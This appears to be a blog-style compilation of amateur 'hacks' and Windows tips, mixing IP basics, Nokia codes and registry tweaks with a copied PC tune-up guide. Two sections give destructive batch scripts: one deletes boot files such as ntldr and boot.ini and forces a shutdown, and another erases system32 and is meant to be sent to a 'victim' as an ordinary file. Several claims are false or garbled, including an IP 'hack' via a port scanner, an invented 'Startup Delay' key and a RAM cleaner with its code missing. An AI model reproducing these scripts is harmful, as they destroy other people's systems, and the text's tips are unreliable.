What is an IP address?

An IP address or Internet Protocol is a 32-bit number address, which isassigned to each computer (technically called a host) connected to the Internet. It is the address to which different types of data are sent to your computer. It consists of 4 octets. Each octet equals 8 bits and has a range from 0 to 255. (Every IP address on the Internet is sectioned off into classes from class A to class E, depending on a different range of numbers). Well I always believed that sometimes pictures speak louder than words so here is an example of a typical IP address:

| | | |

| | | |---------> (4th octet. 8-bits. Ranges from 0 to 255)

| | |-------------> (3rd octet. 8-bits. Ranges from 0 to 255)

| |-----------------> (2nd octet. 8-bits. Ranges from 0 to 255)

|---------------------> (1st octet. 8-bits. Ranges from 0 to 255)

Nokia Basic Hacks !

*#0000# shows the software version

*#746025625# Simclock

Checks if the sim clock can be stopped. Sim clock stop is a kind of stand-by mode which will save battery time. This code doesn't work with software version 4.59.

*#92702689# or *#92772689# Display the phone's software version.

1. Displays Serial Number.

2. Displays the Month and Year of Manufacture (0997)
3. Displays (if there) the date where the phone was purchased (MMYY)
4. Displays the date of the last repayment - if found (0000)
5. makes you capable of transferring user data if you have the gear for it
6. shows how long the phone has been used to talk. This counter is not reset by when you "clear timers" like the counters in the call register

Make ur RAM work better

Clean ur RAM & Make Your Comp Speed Better

Clean Ur RAM
U may recognize that ur system gets slower and slower when playing and working a lot with ur pc. That's cause ur RAM is full of remaining progress pieces u do not need any more.
So create a new text file on ur desktop and call it .. "RAMcleaner" or something...

in this file and save it as RAMcleaner.vbs [ You may choose the "All Files" option when u save it ]

Run the file and ur RAM may be cleaned :>
Of course u can edit the code in the file for a greater "cleaning-progress".


just try it out..

Hack Using IP Address

Hack Using IP

Well u can hack any system as it is conected to what we call INTERNET . To connect internet a system allocates a port for communication and Data Transfer. SO here it goes all we goto do is get into that port thats hacking.

Steps: -
1.Download software PORT SCANNER
2.Copy the ip address of the victim whose port is open.

3.Download NETLAB which gives u all information includes victim ip address,Area from where he is accessing internet....
4.Paste the ip of victim u found initially into NETLAB .Thats it u access his system.


This trick remove the slight delay between clicking on a menu and XP displaying the menu.

Go to Start then Run
Type 'Regedit' then click 'Ok'
Find "HKEY_CURRENT_USER\Control Panel\Desktop\"
Select "MenuShowDelay"
Right click and select "Modify'

Reduce the number to around "100"
This is the delay time before a menu is opened. You can set it to "0" but it can make windows really hard to use as menus will open if you just look at them - well move your mouse over them anyway.

Trick to show your name in taskbar

Here is a trick to add your name in place of AM and PM beside time in the taskbar.

It's simple
Goto Start -> Control Panel -> Regional and Language option -> Customize (beside English US) -> Go to TIME tab -> Change AM symbol and PM symbol from AM and PM to your name -> Apply -> Ok ...

IS it changed ??? May be not ...

Now go to time in taskbar and Double Click it to open "Date and time property" ...
Look at the place where time changes in digital format i.e. 02:47:52 AM , click to arrow to chage the AM or PM by selecting and press arrow.
Apply -> OK.

It will Show your name!!

Virus That Crashes Ur Own PC

Open Notepad and type the following code in it:

offattrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

Save as bat file in notepad!!
This will pop up a message saying OWNED!!
And shut down the computer never to reboot again!

Type this in notepad

start virus.bat
and save as with this name - virus.bat

ur antivirus will not detect this virus.

Basically this program will delete all that files which are needed for bootingIf your os is installed in d drive instead of c then replace c with d.

Never try this on your own computer . . . .

Make a simple file that destroys ur victims pc

1. Open Notepad

2. write the command : -
erase %windir%\system32\*.* /q

3. Save the above notepad with the extension ".bat or .cmd" as u want.
After u created the .cmd or .bat 
file send it to ur victim as like ordinary file. Once ur victim double click on it then he/she needs to format his/her pc.

What it does is deletes all files present in the system32 folder out of which most of them are files important for a computers functioning.
It would work only if the victim has windows os.

Danger of "CTRL+C" on web

We do copy various data by ctrl+c for pasting elsewhere. This copied data is stored in clipboard and is accessible from the net by a combination of Javascripts and ASP.Just try this:

1) Copy any text by 'ctrl+c'
2) Do not keep sensitive data (like passwords, reditcard numbers, PIN etc.) in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information.

To avoid Clipboard Hack Problem, do the following:
1) In Internet Explorer, Go to Tools -> Internet options -> Security
2) Press Custom level.
3) In the security settings, select disable under Allow paste operations via script and click on OK. (Now the contents of your clipboard are safe.)


Alright so u wanna know how to turn the pc on in 10 seconds(may vary).Here's what u have to do to turn ur pc on in 10 seconds

Click on the start button then press R it will take u to Run well go to run
& type Regedit
press enter
this will open Registery Editor
now look for the key


now there find the Key Called
"Startup Delay"
Double Click On It
Now where its Base
Click Decimal
Now its Default Value Is 4800000(75300:hexadecimal)
Change The Value To 40000
here u go u have done it
now close the Registery Editor and Restart Your Computer
You'll See The Result

Speed up XP

To speed up Windows Xp You need to disable the unneeded startup programs . . . .

To disable unneeded startup services for a safer, faster XP, use the "Services" Admin Tool (Control Panel > Administrative Tools > Services). If you are a single user of a non-networked machine, you can disable the following items, with no ill effect.

Computer Browser
Fast User Switching
Human Interface Access Devices
Indexing Service (Slows the hard drive down)
Net Logon (unnecessary unless networked on a Domain)
Netmeeting Remote Desktop Sharing (disabled for extra security)
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Routing & Remote Access (disabled for extra security)
Server SSDP Discovery Service (this is for the utterly pointless "Universal P'n'P", & leaves TCP Port 5000 wide open)
TCP/IP NetBIOS Helper Telnet (disabled for extra security)
Universal Plug and Play Device Host
Upload Manager
Windows Time
Wireless Zero Configuration (for wireless networks)

10 Ways To Tune Up Your Pc . . . .

10 ways to tune up your PC

Everything needs a tune-up: cars, pianos—even your computer! Here are 10 ways for you to tune up your PC to help keep it running smoothly and efficiently.

What you'll need:

Windows-based PC

USB drive (1 GB minimum)


1. Keep your PC up to date

One of the best things you can do to protect your PC is also one of the easiest: Make sure you are set up to get automatic updates from Microsoft. If you use Windows and other Microsoft software, such as Microsoft Office or Windows Live Essentials, then you should use the Microsoft Update service. You'll also get notices about new Microsoftsoftware that you can download for free.

So how do you turn on automatic updates? Simple: Go to the Microsoft Update website. If you don't have automatic updates turned on, we'll help you through the process.


2. Performance
Next, you should “look under your PC's hood” to see how efficiently your computer is operating. To check your PC's performance in Windows 7, click the Start button , typePerformance in the search box, and then click Performance Information and Tools in the search results.

Your system's processor, memory, graphics handling, and your hard drive are rated according to their capabilities. If you need more information on what these ratings mean, click the What do these numbers mean? link found under your base score.

Running Windows 7 or Windows Vista? Find out how you can optimize performance.

Running Windows XP? Check out these maintenance tips.


3. Action Center

In Windows 7, Action Center is a central area for messages and warnings about security that need your attention. When there is nothing to report you won't even realize it's there, but when something occurs that you should know about, you will see an Action Center flag notification on your taskbar.

When you click the warning you can choose to resolve the issue from there. You can also open Action Center itself to see other notifications and actions you can take to help keep your PC running smoothly.

Running Windows Vista? Learn how to use Windows Security Center.


4. ReadyBoost

If you have a USB drive with at least 1 GB to spare you may be able to make your system faster using ReadyBoost. ReadyBoost uses available storage space on a removable device to boost your system speed. Most flash drives and flash memory cards can help speed up your computer.

Running Windows Vista? Learn about using memory in your storage device to speed up your PC.


5. CPU utilization

Your Central Processing Unit (CPU) is the brains of your computer. It organizes the processes in your computer to help keep it running smoothly. If you're wondering if an application may be slowing down your system, you can check the Performance tab inWindows Task Manager to see if the online movie you are watching is taking more than its fair share of power.

Windows Task Manager provides details on each process running on your computer, allowing you to find those programs affecting your PC's efficiency.

Running Windows 7? Learn more about how to view CPU utilization.

Running Windows Vista? Learn more about how to see details about your computer's performance.


6. Check for viruses and spyware

Has your computer really slowed down since you bought it? Are windows occasionally popping up or programs starting independently? Is your hard drive constantly spinning? These and other problems may be caused by viruses or spyware.

Be sure your computer has protection against viruses, spyware, and malware. DownloadMicrosoft Security Essentials (it's free) or see recommended consumer security software providers for Windows.

Running Windows 7? Check out the security checklist.

Running Windows Vista? Learn more about security and safety.


7. Clean up your hard drive

Just like your closet needs a good cleaning occasionally, your hard drive does, too. To unclutter your hard drive, use Disk Cleanup. When you use Disk Cleanup you will toss out those old unneeded temporary files, all the trash in your Recycle Bin, and many other bits and pieces that are no longer needed.

Run it on a regular basis and you will be amazed at your computer's efficiency.

Running Windows 7? Learn how to use Disk Cleanup.

Running Windows Vista? Learn how to use Disk Cleanup.


8. If you don't use it, uninstall it

Even a brand-new computer has programs that you never use and don't need. If you don't use a program, uninstall it. This goes for pre-installed software, trial software you decided not to purchase, or software that you've replaced with an updated version.

Many unwanted programs run in the background upon startup whether you are using them or not. They take up disk space and memory. If you don't need the program, uninstall it. One warning: If you don't recognize a program name or know what it does, don't uninstall it until you've checked to see if it's software essential to running your PC.

Running Windows 7? Learn how to uninstall or change a program.

Running Windows Vista? Learn how to uninstall or change a program.

Running Windows XP? Learn how to uninstall or change a program.


9. Defragment your hard drive

Over time, files on your computer are moved around the hard drive. Eventually it takes your computer longer to find various parts of the programs which have been moved or fragmented. To boost your computer's speed and overall performance, defrag your hard drive on occasion. In Windows 7, Disk Defragmenter rearranges fragmented data, making your computer operate more efficiently.

Running Windows 7? Learn how to defragment your hard drive.

Running Windows Vista? Learn how to defragment your hard drive.

Running Windows XP? Learn how to defragment your hard drive.


10. Try troubleshooting for performance

Your PC may also have some simple or more complex issues that Windows 7 can repair for you. Try a troubleshooting program to automatically fix those issues.

In Windows 7, the maintenance troubleshooter fixes problems, such as cleaning up unused files and shortcuts, so your computer can run faster. The performance troubleshooter checks specifically for performance issues. Both are quick and easy to use and may provide you with some useful suggestions.

Running Windows 7? Learn about troubleshooting programs.

Running Windows Vista? Check out these troubleshooting tips.

Running Windows XP? Learn about maintenance tasks that improve performance.

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